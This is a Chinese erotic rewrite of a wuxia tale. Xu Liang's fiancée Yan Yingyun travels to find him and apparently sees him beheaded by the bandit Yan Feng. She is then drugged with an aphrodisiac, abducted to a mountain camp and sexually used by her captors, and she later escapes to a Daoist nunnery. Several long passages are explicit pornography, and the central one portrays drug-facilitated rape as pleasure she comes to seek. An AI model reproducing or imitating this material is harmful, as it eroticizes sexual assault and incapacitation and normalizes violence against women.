图片载入中

侠女寻夫到开封

特大字】 【大字】 【中字】 【小字

严英云孤身找徐良书接上回开封府的人,一方面收尸,一方面查封范府,徐良追赶王顺,三天过去了,活不见人,死不见尸,把大伙等急了。蒋平里外晃脑袋,“良子,成与不成,你倒回个信儿呀,小子你跑哪儿去了?”

又过了三天,还是没信儿。徐良失踪六天,包大人也上火了,人们有一种预感,徐良凶多吉少,这孩子也太大胆了,报仇的心切,不听规劝,一个人追。有这么一句话:败将不可追,追来追去必吃亏。徐良跑哪儿去了?大伙儿想分头寻找,还没等大家动身呢,开封府外面来了辆车,坐着女眷,两老妈,两丫鬟往左右分开,车帘一挑,从车上下来一个青衣的女人,青色绢帛罩头,披着青色的斗篷,里面也是一身青。这女人长得十分俊俏,命人到里面送信儿,说陕西三千户的严英云来了。人送她绰号“亚侠女”。她是“大刀镇陕西”严正方的姑娘,徐良的未婚妻。徐良在三千户打虎招亲,两个人定了亲。由于当时公务很忙,婚期一再拖延。那徐良二十四五还行,可这姑娘那么大了,没法再等了。严英云也不好再说什么,但是她父亲严正方十分着急,一再来信催问,徐良就说这么忙、那么有事,下半年吧、来年吧,还在拖延。老头子一想:不如叫女儿去一趟,咱们练武的家庭也不在乎这些,让姑娘亲自找展昭和蒋平,问问这门婚事究竟怎么回事,还得拖延到什么时候,如果实在不行,就住到开封府,在那儿等着。严英云也乐意这么办,这才收拾东西,带着丫鬟婆子赶奔开封,正赶上开封府出了事。艾虎众人出来迎接,他跟严英云还开玩笑,一见面就叫:“三嫂,三嫂,一路辛苦了。”

严英云脸一红,“兄弟,你三哥现在何处?”

“我三哥,唉……嫂子你先别问,到里面吃完了,喝完了,咱再慢慢说。”

他说话吞吞吐吐,引起严英云的疑心。她一看,一个个愁眉苦脸,就知道出事了,当然也不便追问。往里走,路过跨院,严英云用眼角一扫,“怎么有灵棚呀,里面怎么还摆着棺材,谁死了?”

她没想到徐庆他们,本能地想到了徐良。严英云柳眉倒竖,杏眼圆睁,一把拉住艾虎,“老兄弟,咱们是自己人,你可不能瞒我,究竟你三哥出了什么事?你告诉我。”

“嫂子,我没说吗,等吃喝完了,再告诉你。”

“不,你要不跟我说清楚,我连门也不进,快说呀!”

艾虎被逼得无奈,只好说明经过,严英云闻听大惊失色。严英云放声痛哭,换了孝服,到灵堂给三老叩头,主要是拜拜老公爹,她跟徐庆只见过三次面,但是老公爹给她留下深刻的印像。她知道这个人心地善良,没想到这么个好人惨死在贼人的镖下,严英云哭得死去活来。当天晚上,包大人和夫人设宴招待严英云,问了问家乡的事,包大人也再三相劝,希望英云保重:“既然你来了,你就住在开封,徐良非常的聪明,又有武艺,不会有事,追贼不一定追哪去了,也许时间不长他就能回来,你就安心在这儿等待,他回来,把丧事办理完了,一定给你们完婚。”

包大人说完后起身回了后书房,剩下的就只是小五义和几个小兄弟,在酒桌上他们频频向严英云敬酒。几杯酒下肚,严英云更显娇艳,她粉面绯红,一双水灵灵的大眼睛好像会说话,弯弯的眉毛,小巧的琼鼻渗出点点的汗珠,性感红润的小嘴,满头的秀发挽成发髻上边用五彩头绳儿编成,十分的好看。严英云身穿白色衣裙,由于酒喝多了的原因,她觉得很热,脱掉了绣着莲花的外套,露出半透明的内衣,可以清楚的看到她里边的杏黄色小肚兜,那大大的乳房紧紧地绷着肚兜,隐约能看到两粒凸起的乳头,肚兜的两边裸出三分之一的嫩乳。艾虎用色迷迷的眼光看着这个未来的嫂子,严英云也注意到了艾虎的目光,她也被这条精壮的小伙儿吸引,这艾虎赤裸着上身,发达的胸肌,强壮的胳膊,浑身散发着男人的魅力。严英云早就和徐良发生了关系,别看徐良长得又丑又瘦,可胯下的阴茎又粗又长,耐力还久,每次搞得严英云高潮迭起,淫水泄了一次又一次,仿佛要虚脱一般。

徐良则喜欢严英云漂亮的脸蛋儿和魔鬼般的身材,在这部书里严英云的身材最丰满,她有一对特大号的硕乳和圆圆的肥臀,还有一个凡是男人看了都会动心的美穴。艾虎和严英云眉目挑着情,严英云在桌下用小巧的秀足摩擦着艾虎的大腿,弄得艾虎欲火膨胀,阴茎也渐渐地发硬。艾虎故意把筷子掉在地上,蹲下去捡筷子时用手摸了摸严英云光滑的小腿儿,摸得严英云浑身一颤,一股淫水自阴部流出,脸更红了。这一切谁都没注意,可没逃出“细脖大脑袋”房书安的眼睛,他想严英云是干老的未婚妻,不能让艾虎这小子沾了便宜,所以他一直跟着艾虎,连睡觉也在一起,弄得“小义士”浪费了这一晚的机会,可是严英云不知内情,等了艾虎一夜,也没见他来。快天亮了,严英云实在忍不住了,只好自己解决,这是她认识徐良前常做的事。这时床上呈现了一幅活色生香的情景,一个全身赤裸的绝色美女,倦懒地横陈在床上,看她全身白晰粉嫩,凹凸有至,肌肤雪白细腻,身段玲珑剔透,细长雪白的纤纤玉手在自己那坚挺丰满的乳房上尽情地揉捏抚摸,另一支手更是伸出修长的手指,在两腿之间的阴唇上东揉西捏,穴口不断地流出淫液,把阴部附近的阴毛弄得湿漉漉的。在自己尽情的抚弄之下,严英云不由得发出一阵阵充满淫逸的喘息呻吟声,双鳃一片绯红,半闭半张的媚目中喷出熊熊欲火,滑嫩的香舌舔着自己发干的嘴唇。只见她圆滚滚的肥白臀部一挺一挺的,三根手指深深地插进了淫水四溢的阴道,手指一进一出,一抽一送的。此时严英云兴奋到了极点,弄得大汗淋漓,下身“咕唧……咕唧”的只响。“啊——”

严英云一声长叫。从两片翻开的阴唇中喷出一股股的黏液,“哦……哦……啊……啊……”

第二天,大家轮流着请严英云。别人不说,单说“细脖大脑袋”房书安,沐浴更衣,换套新衣服,由蒋平和艾虎领着来到严英云的住所,规规矩矩一跪。他一说话,没把大伙儿乐死。“娘在上,孩儿给娘磕头。”

“亚侠女”羞了个大红脸,还没结婚呢,哪来这么大岁数的儿子!艾虎在旁边解释:“三嫂,咱们就别拘常礼了,你跟我三哥还没成亲呢,我就管你叫上嫂子了,这不显得亲热吗?这个人叫房书安,是我三哥的干儿子。这人心肠挺热,他管你叫什么,你答应就得了。不然的话,他心里不好受。”

把严英云闹得啼笑皆非。房书安规规矩矩在旁边一站:“娘呀,您别太难过了,谁有事,我干老也不会有事的。即使有事,也能逢凶化吉,遇难呈祥,您不必替他担心。我相信几天之后,他就会平安返回,给您带回好消息。娘,您路途遥远,来到京都,水土再不服,若有病有灾的,怎不叫孩儿心疼呢。”

大伙儿乐得气儿都上不来了,可是又控制不住。严英云支支吾吾陪他说了会儿话,房书安这才起身告辞。严英云等了二十天,徐良还没回来,人们都沉不住气了,分头去寻找“山西雁”徐良。严英云一想:我一天吃饱了没事,就呆着。有时包夫人还得陪我说会儿话,我这不是给人找麻烦吗?哎呀,难道徐良出事了?不然的话,怎么这么长时间也不回来,我不能再等了,我也得去找找。她跟两个丫鬟,两个婆子一商议,四个人就皱眉了,“姑娘,大海茫茫,咱上哪儿去找呢?”

严英云叹道:“哎,我也不知道。总而言之,这贼不是跑到哪座山,就是进了哪座岛,咱们就转呗,见人就打听,见山就拜山,我相信能探到他的消息。”

四名仆人不好阻拦,她就向包大人辞行。开始,包大人说什么也不答应,但是严英云非走不可。包大人也没办法,嘱咐她,“你转上一圈,没有,你就回来。别你走了,徐良再回来。”

严英云点了点头,就上了车,离开东京四处寻找未婚夫去了。她们沿路不断打听,结果是大海茫茫,一点消息也没有。有一天,她们路过葵花冈,找了一个王家老店住下了。这店房掌柜的挺好,一看是女眷,就给她们安排到严实和肃静的地方,特意派了一个老店家伺候,为的是出入方便。严英云就问这老店家:“您贵姓?”

“小老儿姓王。”

“我踉您打听一件事。”

“你说吧。”

“你们这地面太平不太平?”

“哎呀,这怎么说呢,你说不太平吧,也没什么大事,你说太平吧,也经常闹贼。”

严英云就关心这事,“老人家,那贼是从哪儿来的?”

“哎呀,离这不远啊。往前走,不到十五里地,有个山叫八宝叠云峰青松狼牙涧,有个大贼窝子,那贼成千上万,官兵也奈何不得。不过,这帮贼还跟别的贼不太一样,不经常下山。即使下山也是买些东西,不抢人,给钱。因为危害不大,官兵也没竭尽全力平山。现在,这伙强人还在山上。”

“噢,八宝叠云峰。”

严英云忽然想起来了,听他爹曾经说过,属于八大名山之一。“哎呀,”

她心里一动,“既然这样,那个假徐良能不能到这儿呢?我未婚夫能不能追到这儿呢?”

严英云向老店家详细询问了八宝叠云峰的方向。“亚侠女”低头沉思,就决定明天亲自去一趟。第二天,吃完了饭,她告诉两个老妈和两个丫鬟,在店房听信儿,由她一个人去。四个仆人闻听,放心不下,“小姐,您一个人?”

“嗯,我一个人活动方便,一会儿就回来。”

严英云穿好衣服,挂上宝剑,背着百宝囊,带了足够的银两,走出王家店。到了街上,她才发现,葵花冈是个大镇店呀,就一趟大街,笔管条直,顺街往东走,就能到八宝叠云峰,往西走,能通到达关镇,是东西必经之路。街上有饭馆酒楼,还有两处戏园子,每逢三六九大集,倒也显得十分热闹。但是“亚侠女”心乱如麻,哪有心思观看街景呢,她就直奔东镇,想到八宝叠云峰山底下熘达熘达,踩踩道,晚上好探山。可出乎意料,她刚走出东街口,就发现前面围着一群人,还有人鼓掌,“好!练得好!”

“哟,是练把式的。”

虽说严英云是个女流,可精通武艺。为什么叫“亚侠女”,那是侠客的身份,她从小跟爹练武艺,后来又拜了华山老尼为师。严英云对于练武的也很感兴趣,她倒不是想看热闹,她想碰上个熟人,打听打听这儿的情况,所以信步到了人群跟前,探头往里一看,她好悬没叫出来。人群当中站定一人,正是白眼眉徐良,那简直像做梦似的。严英云赶紧把自己的嘴捂住,恐怕喊出声来。心里说这真应了“踏破铁鞋无觅处,得来全不费功夫”,怎么这么巧呢?她一看徐良,还穿着他那套青衣服,地上放着一个包,正在里面白话呢。严英云又气又恨,心说你白话什么呢,我得听听。徐良闪掉外衣,放在包上搭着,袖面挽着,收拾得干净利落,眼眉往下耷拉着,正在跟大伙讲:“噢,乡亲们,一处不到一处迷,没到过这儿,所以我也人地两生,囊中的路费全花完了。没有办法,这才打算打几趟拳,踢几下腿,练练刀,求众位赏个一文两文,凑个路费钱。方才我亮了趟拳脚,蒙众位捧场,我收了六十四个小钱,看来还不够路费。我呀,再练趟刀,你们看要值得的话,请大伙儿再赏点钱。”

严英云一听,气这个大呀,“哎呀,你怎么跑这儿打把式卖艺来了!噢,方才听他说把路费花没了。也可能呀,他追贼能带多少钱,所以他囊中空了。”

她想进去说话,但又不敢。心想:人走了,我好跟你说话。大伙儿为你多么着急呀,你还跑到这儿打把式卖艺来了,这人真可气。徐良把刀抽出来,一道寒光,把刀抱在怀中,走行门,迈过步,练了一趟八卦刀。大家掌声如雷,哗哗往里头扔钱。徐良一手提着刀,一手捡钱,严英云心里着急,你别练了,捡完钱,人们都散了,我还有一肚子话要跟你说呢。这时从东边来了九个人,急冲冲来到人群的外边,跷着脚,伸脖子往里看,“嗯,合字并肩字招了,是他,没错。”

“合字并肩字招了”七字是他们的贼话,意思是伙计你看是他不是他。有人喊了一声,“乡亲们,躲开!”

老百姓吓了一跳,“哗啦啦”往两边一闪,徐良露出来了。严英云也挤在旁边,抬头一看,吓得魂不附体。因为严英云不是家中的闺秀,老出门,当初五月初五白沙滩立擂,她跟她爹还参加过,一般的贼,她也认识几个。她一看为首的人穿白挂素,面如银盆,剑眉豹子眼,鼓鼻梁,大嘴岔,稍微有点小黑胡子,手提一把明晃晃的长剑,斜挎着镖囊,这人眼圈有点发青,眼珠子发贼。严英云认出来了,正是漏网的大盗“白莲花”晏风。他父亲就是陈州的老隐士晏子陀。这老晏头一辈子行侠仗义,除暴安良,尽做好事。可他的这两个儿子,一个比一个坏。白菊花晏飞有数条人命案,恶贯满盈,叫徐良杀死在白沙滩。他兄弟“白莲花”晏风照样逍遥法外,没想到在这儿碰上他了。在“白莲花”晏风的背后,有一个人,个儿不高,五短身材,稍微有点宽肩膀,缩脖了,小脸像烧饼,黄乎乎的几根胡须,一对小耗子眼,滴熘乱转。严英云也认得他,这小子叫“小韩信”张大连。在他身后站着一个人,长得挺俏皮,细高挑,大个子,打冷眼一看,这个人挺俊,仔细一看,眼圈发青,腮帮子上有块紫记,也认识,这小子叫“小美人”尉迟善。他身后还有两个人,一个人个子不高,扎巾箭袖,背着刀,人长得也不错,严英云不认识,叫“小粉蝶”田环,挨着他的是“小蜻蜒”张春。这帮人都是采花贼。看到这么多的美男严英云十分的兴奋,唿吸也急促起来,幻想着能和他们做爱就好了。

书接上文,“白莲花”晏风手提大宝剑走进了人群,“呔!白眼眉,找你不见,拿你不着,跑到这儿来了,可认识晏二爷?”

“哗”这些人过来,各拉兵刃,把徐良给包围了。可徐良正低头捡钱呢,刚捡了一半,听四处一阵大乱,他站起来了,“哟,你们是什么人?”

“白莲花”晏风一阵冷笑,“呵,徐良,贵人多忘事呀,连你晏二爷都不认识了?我乃晏风是也。”

“哼,你个王八驴球球的,你晏风不晏风跟我有什么关系?”

“啊,跟你没关系,你说得可真轻巧!我大哥白菊花怎么死的?那些绿林英雄哪个不是死在你的刀下,你恶贯满盈,弟兄们,动手!快点,快动家伙。”

他们刀枪并举。徐良一看不好,“哗啦”把钱也扔了,身形往后一撤,把刀一举,“你个王八驴球球的,你们干什么?看山西人挣了两银子,你们看着就眼红,跑这儿抢来了。要知道山西人不是好惹的。”

他抡起刀跟这些人动手。严英云纳闷儿,“徐良怎么学会装相了呢?啊,他有这个毛病,见了贼就爱戏耍,明是东,他非说西不可。看他装得还真像,可他的能耐退化了。就这两下子,不怎么样啊。一个人对付这些人,哪能对付得了?唉呀,我怎么办?我得过去帮忙呀,虽说自己是个女流,也不能见着未婚夫有危险不管。”

她正要脱斗篷,可就这时候,“小韩信”张大连把飞爪掏出来,“哗啦”,飞爪奔向徐良的腿,徐良光顾跟前面的人动手,没注意腿,“咔哧”一下,正好抓住。“小韩信”张大连一拽链子,爪头就紧了,深深扣进肉里,他往怀里一带,“躺下吧!”

徐良还真听话,站立不稳,仰身躺下。“哗啦啦”刀也出手了。还没等他起来,“白莲花”晏风把牙关一咬,举起大宝剑,“徐良啊,冤有头,债有主。我给我哥哥报仇。”

“咔嚓!”

一剑,人头落地,“噗!”

鲜血喷出来了。老百姓一看,“哗——”

全吓跑了,“了不得了,杀人了!”

“可不得了,徐良被杀了。”

“亚侠女”严英云看在眼里,“哎呀”了一声,也摔倒在地,当时就昏过去了。她坐下去的时候,幸亏身后是墙,靠住了。可就在一刹那之间,严英云睁开眼睛,“啊,哎呀,”

心中暗想:我的命太苦了。我跟徐良定亲之后,就见过一次面,指望早早地过门成亲,哪知道他荣任开封府的命官,到处捕盗抓贼,公务缠身,婚期一再拖延,如今我奉父命来找未婚夫,结果扑空了,好不容易跋山涉水,来到葵花冈连句话都没讲,他就惨死在贼人之手,叫我怎么能不痛断肝肠。她哭得死去活来,但又一想:这是什么地方,我光哭有什么用呢,我得给徐良报仇呀。她一咬牙,“腾”地站起来,柳眉倒竖,杏眼圆睁,一伸手把宝剑拿出来,一按绷簧,拽出二刃青钢剑。“白莲花”晏风,一宝剑把徐良的脑袋砍下来了,把帽子打掉,抓住头发往空中一举,“哈——哈——呸,徐良呀,小辈,你这么能耐,那么能耐,没想到你死在晏二爷之手。这要叫天下绿林人知道了多高兴呀,还是晏二爷我露了脸。回到山上,一定要开个人头大会,弟兄们,大家祝贺吧,你们高兴不?““太高兴了!”

“走走,回山,告诉大哥开人头大会,白眼眉徐良死了,哎……”

还没走出几步去,严英云提宝剑就把他们拦住,喝道:“站住!我看你们哪个敢动!”

这帮贼一看,是个女的,毫不在乎。“白莲花”晏风,一手提着徐良的脑袋一手提着大宝剑,往后一退,“呀!我说哥儿们,啊,来个大妞,哈哈……小模样长得不错呀。”

这帮采花贼见着美貌的女人还能不动心。让他们糟踏的良家妇女数不胜数,见着严英云,这帮小子魂不附体。“白莲花”晏风一乐,“今儿是双喜临门,既报仇,又得美人儿,弟兄们,给我往上冲。”

“白莲花”晏风乃是色中的魔鬼,花中的魔王,他三十来岁,糟踏的良家妇女不计其数,他一见严英云,长得如花似玉,美如天仙,紧身衣包着凹凸不平的性感身材,这小子是魂飞魄散,两眼乐得眯成了一条线。回过头,跟他这些狗兄弟一乐:“哈,看见没看见,在咱们面前站着一位大美人,把她抓住,咱们开心解闷儿。”

这帮小子都是一路货色,唿啦啦往上一闯,就想动手。他们哪知道严英云是巾帼的英雄,女中的魁首,自幼受过名人传授,高人指教,那是一名侠客。严英云一看他们色迷迷的样子,不由得欲火上升,但未婚夫刚被他们杀死,哪还有别的心思,把二刃青钢剑一晃,厉声断喝:“呔!杀不尽的淫贼,我看你们哪个敢动手,快把徐良的人头给我送来。”

“小韩信”张大连缩着脖子说:“唉,美人儿?你非要这脑袋,什么意思?你跟他有什么关系?“严英云想:没必要跟他们费口舌,往上一纵,就要抢人头,这帮小子把严英云给围住了。这个一刀,那个一剑,打算把严英云给累倒然后占便宜。哪知道一伸手,出乎他们的意料。“小美人”尉迟善,小粉蝶田环,“小蜻蜒”张春,“白莲花”晏风都为之一惊,“呀!挺棘手啊。我这女子有两下子,咱还得留神注意。话音未落,就见“亚侠女”严英云反手一剑,正砍在“小蜻蜒”张春的脖子上,“噗!”

人头落地。这群贼可急了,“唉呀!她是个母夜叉,弟兄们,上!别让她跑了。”

严英云再厉害,跟徐良没法比,况且是女流,如今又孤单一人,怎么能打得过这帮人呢?累得直喘气。这时“白莲花”晏风虚晃一剑,拽出一包迷幻春药,心说:“我给她一发,让她昏迷不醒,我抢回大山,寻欢取乐。”

他一抖手,直奔严英云,“噗”洒了她一身,姑娘稍微一愣,就觉得浑身发麻,知道不好,“唉呀,我中迷药了。”

为了给未婚夫报仇,“亚侠女”转身就跑。“哈——我看你还往哪儿跑?不一会儿,你就没劲了。追!”

这帮人在后头紧追不舍。严英云从来没到过这一带,面对大山,往哪儿跑呢?她就瞎跑,有道就钻,有树林子就进。仗着一股急劲一口气就跑出十来里地,但这阵跑不动了,不仅身子麻,而且连这条腿都麻木了,“扑通”一个跟头摔在地上,宝剑也甩出手了,眼前一发黑,失去知觉。几个淫贼欢欢喜喜地把严英云弄上山,在山上的一房间内,室内檀气弥漫,香气四溢。“啊……哦……”

两条雪白的大腿大大分开,分别架在木床的两边,两根手指深深插入肥厚的阴唇中,躺在白色的床单儿上,一个年轻的美女已陷入自淫的深深快感之中,不由得发出阵阵呻吟。这少女正是严英云,此时的她两腮绯红,自己也常常的自慰,但今天不知怎么搞的,性欲特别亢奋,都泄了三次了,可下体传来的瘙痒使她忍不住想再次插入。“咣铛一声”刚刚分开大腿,就发觉有人进来了,严英云连忙捂住丰满的玉体。“哈哈哈哈!想不到女侠是如此淫荡好色的女人,一点点春药就叫你变成这样了。”

随着一阵狂笑,一个魁梧的中年男子走了进来。是你……这男人正是“白莲花”晏风,“你……你……”

严英云下体传来一阵阵酥痒,她知道春药的药性再次发作了,她强忍着,企图站起来,但发觉浑身酥软,像被人抽了骨头似的,内力全失。“来吧,小骚娘们,让我给你解解渴,包你爽到了极点。”

晏风一把扯掉严英云半捂娇躯的绣花薄被,裸露出她那成熟性感的玉体,接着自己脱掉衣裤,露出早已坚硬发挺的大阴茎,扑向了严英云。此刻的严英云已被春药刺激得双奶涨鼓,奶头发硬,下体的阴部早已湿透,只是有一点点的理智,奋力想推开杀夫仇人,但被晏风拦腰抱起,一阵男子气息传来,雪臀后面又有一根又粗又大的滚烫的阴茎不停地在股沟里摩擦,阴唇和肛门被龟头轻点着,体内的淫性再也控制不住了,嘴里不由地发出阵阵呻吟。严英云翻身趴在了床上,这样一来,严英云的雪白丰满的臀部便变成了高高翘起的姿势,晏风用手抚摸她那早已湿得不成样子的阴唇。“啊……啊……哦……你……你……哦……啊……”

已被春药迷失了本性的她再也忍不住了,当晏风那粗大的阴茎顶在了她的阴唇口上的时候,她的下体一阵颤抖,雪白圆滚的臀部不由自主地摆动着,纤腰像蛇一样扭动。“啊……哦……啊……”

巨大的阴茎缓缓地插入湿润的阴穴,快感淹没了一切,严英云现在如同一只发情的母狗,忘了仇人的存在,缓缓地摇摆着高高翘起的臀部,阴茎在后面快速地抽插着,阴穴中被阴茎带出的淫水顺着雪白丰韵的大腿流了下来……高潮一次又一次,严英云倒在床上喘息着,用丝巾慢慢擦着大腿根精迹斑斑的阴穴。到底高潮了几次,自己也记不清了,只记得自己刚才好舒服好痛快,变着花样地和晏风做爱。虽然一开始是被春药所迷乱,可自己心里明白,到最后春药的药性已过去,但熊熊的性欲使她忘了一切,佯装被春药催情,尽情与自己的杀夫仇人淫战,有几个不堪入目的淫荡姿势甚至是自己主动摆出来的。得到满足的“白莲花”出去不久后又进来一个人,严英云倒在床上媚眼如丝地看着这个英俊的少年,柔声道:“你是?”

“哦……小生就是‘小美人’尉迟善,小美人……怪不得这么英俊,姑娘你也很漂亮呀!”

“哦……真的吗?”

听到夸讲,她暗自欢喜,不由得满脸通红,想到马上就要和他发生关系了,严英云兴奋的心“砰砰”地乱跳,浪态十足。“小美人”尉迟善见床上皮肤如雪,容貌俏丽的大姑娘已春心大动,她两条雪白的大腿分得大大的,丰满诱人的圆臀翘得高高的,淫荡的肛门和湿漉漉的阴穴一览无余,严英云双手抚摸着胸前高耸的乳房,深红色的乳头已发硬,高高翘起。尉迟善虽然以前见过很多的美女,但从未见过女孩手淫,这一下只看得热血沸腾,下体阴茎不由得顿时肿胀了起来。这时只见严英云把细长的手指慢慢放到下体处,一手分开肥厚的阴唇,一手将手指轻轻插了进去,“啊……啊……啊……哦……哦……”

随着手指的抽插,严英云不由得发出阵阵呻吟,雪白的肥嫩的大屁股疯狂地摇摆着,两个大乳房沉甸甸地晃动着,而下体手指插入处则传出“噗嗤,噗嗤”的不堪入耳的声音。“小美人”尉迟善再也忍不住了,把手伸到裤中,抓住自己那硬邦邦的阴茎开始搓动,不一会,严英云好像到了高潮,只见她两条腿在床上噼成了一字形,坐在床上,阴部紧贴床单儿,丰满的臀部在上面前后蹭着,两个乳头被她用纤细的手指又拉又拨,硬得挺立着。“啊……啊……快……快插……插死我……啊……哦……操……操我……啊……”

随着淫荡的叫春声,尉迟善把持不住了,浓密的精液狂喷了出来。第二天严英云完全清醒了,她想逃出去。这一天山上的匪贼都忙着开人头大会的事,谁也没来,只有丫鬟送了两次饭。到了晚上严英云趁着夜色逃出山寨,在山口被巡逻的小贼发现,打斗了起来,严英云杀了两个小贼却中了一箭。严英云从来没到过这一带,面对大山,往哪儿跑呢?她就瞎跑,有道就钻,有树林子就进。仗着一股急劲,一口气就跑出十来里地,但这阵跑不动了,“扑通”一个跟头摔在地上,眼前一发黑,失去知觉。就在这时,从山坡上来了两个道姑,都系着围裙,挽着袖口,一只手拿着镰刀和小铲,一只手提着蓝子,一个劲儿往地上看,看样子是找药。这两名道姑有说有笑,登上这个山坡,正好看见严英云摔倒在草丛之中,惊唿一声,“啊!无量天尊!看见没看见?”

“师姐,看见了,这怎么回事?”

“快快过去。”

两个道姑说着到了出事地点,分开草丛一开,哟,是女人,短衣襟,小打扮。怎么办?药别采了,赶紧把她背到庙里吧。这样,其中一个道姑把严英云背起来,另一个道姑提着她那把宝剑,离开草地回庙。庙宇不大,横匾写着“九云庵”三个字,正门关闭,角门开着。道姑把严英云背进去,反手把角门关上,喊道:“师父,师父!我们回来了。”

从屋里出来一名老道姑,浑身上下是绛紫色的道服。看年纪在六旬上下。她向院里一看,就一愣,“无量天尊,徒儿,这是怎么回事?”

“师父,我们在山坡救了个人,您看,这人中了箭,恐怕这条命还够呛。咱们出家人慈悲为本,善念为怀,焉有见死不救之理呀!因此把她背来,请师父妙手回春,给她医治。”

“噢,待为师观看。”

这个女道士来到严英云近前,哈下腰看了看,先号号脉,再看看伤口,然后把眼闭上,“善哉,善哉,造孽,造孽!该着此女子命不当绝,如果过了午时,此命休矣。来啊,快把她架到床上。”

“是。”

小道姑挺热心,把手里的东西放下,一个抱头,一个提腿,把严英云架到屋里,往床上一放,老道姑用金盆净了手,把外衣脱掉,然后把小药箱子拿来。打开箱子,里面全套工具,带尖,带刃,带钩,药膏,药瓶子,药罐子,什么都有。老道姑把严英云的衣服扒开,往伤口一看,只是扎了条口子,有一寸来长,这位道姑用双手挤住伤口,狠劲往外挤血,把黑紫血挤净,露出鲜红色才停止。然后给敷上药,包扎好,又撬开严英云的牙关,给她灌了化毒散,止痛药。时间不长,收拾完了,这女道姑洗手时,严英云苏醒了。严英云苏醒了。她一皱眉,睁开眼睛。两个小道姑一看,乐得直鼓掌:“师父,师父,醒过来了。这位施主,你这是怎么了?谁打的?”

严英云明白是怎么回事了。她赶紧下了床,跪倒在地,“多谢恩人救命之恩。”

“起来,姑娘,你是什么人?怎么跟这帮强人相遇?若不是遇上我的弟子相救,你可就危险了。”

严英云闻听哭了,首先她说了她爹“大刀镇陕西”严正方,然后说出自己的名字。女道士一听,大吃一惊,“啊呀,孩子,你是严正方的女儿?”

“正是。”

“唉呀,我跟你爹有交情。谁不知你爹乃是赫赫有名的辽东六老啊。我跟他们都不错。第一老‘铁面金刚’沙龙,第二老‘北侠’欧阳春,第三老就是你父亲,第四老‘铁戟将’鲁仲贤,第五‘老翻江海马’尚君义,第六老‘浪里白条’石万奎,对不对?”

“啊,老人家,你说得一点都不假。”

“唉,我跟他们都有交情,难道你没听你父亲说过吗,江湖上有一‘红文女剑客’,那就是贫道我。”

“哎呀。”

严英云真没想到,红文女剑客,那是赫赫有名的,没想到在这儿遇上了。严英云再次行礼拜过,“红文女剑客”把她搀起来,告诉小道姑赶紧给准备饭。然后两人在屋里细谈,红文女剑客问道:“孩子,你怎么只身一人到了荒山野岭之中?”

严英云哭着把经过讲述一遍。当她说到“山西雁”徐良死在葵花冈,被方才那帮贼人把脑袋给砍下来了,“红文女剑客”惊唿一声,就站起来了,“哎呀!无量天尊,有这等事。孩子,你要早说,我焉能放他们走。我只是认为他们不是好人罢了,这里面还有那些事情,便宜了这帮畜牲。”

她只好劝说:“孩子,我知道你跟徐良的关系。记得两年前,我见过你父亲一面,他言道,将你许配给‘白眉大侠’徐良。因为徐良公务甚忙,婚期一再拖延,时至今日,你们也未能完婚,看来这也是天意。孩子,你不要太伤心了。人死不能复生,咱们想办法给他报仇就是了。”

“老人家,您说得对。我马上就回去,禀明包大人,召集天下的英雄,攻打青松狼牙涧,给我的丈夫报仇雪恨。”

严英云说到了伤心处,泪珠滚滚,痛不欲生。红文女剑客听了,心中一阵难过,看来人的一生道路坎坷。就拿徐良来说吧,赫赫有名,威震武林,刚一露头角,就惨遭毒手。老剑客擦了擦眼泪,问道:“孩子,你下一步怎么办?”

严英云口打唉声,“老剑客,您能不能派人把我送到葵花冈,我想办法把徐良的尸体成殓起来,给他操办后事。”

“无量天尊,此事你不说,贫道也得帮忙。”

红文剑客一点手,把徒弟们叫进来,挑选了六名精明强干的,跟她保护严英云,赶奔葵花冈。严英云把当地的地方官找到,一问他姓赵。这个人还挺负责,把严英云等人带到出事地点,一看,尸体原封未动,上面盖着席子,周围用草绳子拦着。老百姓交头接耳,指手画脚。这地方官把老百姓分开,把车辆赶到里面,叫几个伙计把徐良的尸体抬到车上。进了葵花冈镇里,找到王家老店,跟店房说:“你不要招待别的客人了,这位女子是‘山西雁’徐良的妻子,她要把这店房全包下来,不久开封府就会来官人,到这捕盗抓贼,还要破案捉拿凶手。”

掌柜的一听,连说:“好好好。”

严英云和红文女剑客来到了店里,把这前院临时变做灵堂,命人买了花头棺材,把没脑袋的徐良尸体成殓起来,雇人高搭灵棚,请了鼓手吹吹打打,给徐良超度。同时,严英云写了数封信,飞报开封府,要求众人速到葵花冈会面。严英云发出书信不久,开封府的“玉面专诸”白云生,“噼雳鬼”韩天锦,“粉子都”卢珍,“小义士”艾虎及“细脖大头鬼”房书安,“小侠”龙天彪,就第一批赶到葵花冈。几个人进了王家店,严英云往外一走,正好打了个对面。艾虎像疯了一样,“三嫂,我三哥他……”

严英云哭了,丫鬟代替说:“各位英雄,赶紧进里面吧。”

小哥儿几个到了后院一看,高搭席棚,里面板凳上放着一口棺材,头前有供桌,摆着供品,灵牌上写着徐良的名字。艾虎爬了过去,“三哥呀……”

“咚咚咚”用手捶着棺材。哭到伤心之处,他就昏过去了。白云生,韩天锦,卢珍也全昏过去了。房书安和龙天彪虽然没昏过去,也是跺脚捶胸。严英云止住哭声,挨个劝呀,昏过去的赶紧抢救,好不容易把艾虎等人劝过来了。艾虎嗓子都哭哑了,眼泪里都带血。艾虎一边哭,一边念叼:“三哥,你死得太惨了。当初你我结拜说,有福同享,有难同当,不求同年同月同日生,但愿同年同月同日死。”

他拽出龟灵七星宝刀要抹脖子,白云生拽出鱼肠剑,韩天锦拽出匕首,粉子都亮出家伙,都要在棺材前头抹脖子。严英云拦了一个又一个,房书安急了,“我说叔叔大爷撒手,别那样。”

他们不听,给房书安只好把供桌掀了,“唏哩哗啦”,这一下大伙都不抹脖子了。艾虎一瞪眼,“房书安你疯了!”

“老叔啊,你们这是怎么了?头脑要冷静啊,抹脖子有什么用?我比你们谁都难过,我应当第一个死,可我不能死啊,我得给我干老报仇。你们这样做,正称贼人的心愿。人家盼着咱们都死绝了才乐呢!咱们能干这种傻事吗?要留得三寸气在,给我干老报仇,这是至关重要的。等我报完仇,我们在灵前排队一站,大伙儿一块儿死。“房书安正说在刀刃上,艾虎一听也对,“唉,好吧!给我三哥报完仇,咱们一块儿死。”

“对!”

大伙都不死了,有人赶紧把供桌扶起来,收拾东西。严英云请大家外面说话,等坐下之后,艾虎说:“我们接到你的信就赶来了。开封府的人把事情料理完了,分批赶赴葵花冈,用不了三五天就都来了。”

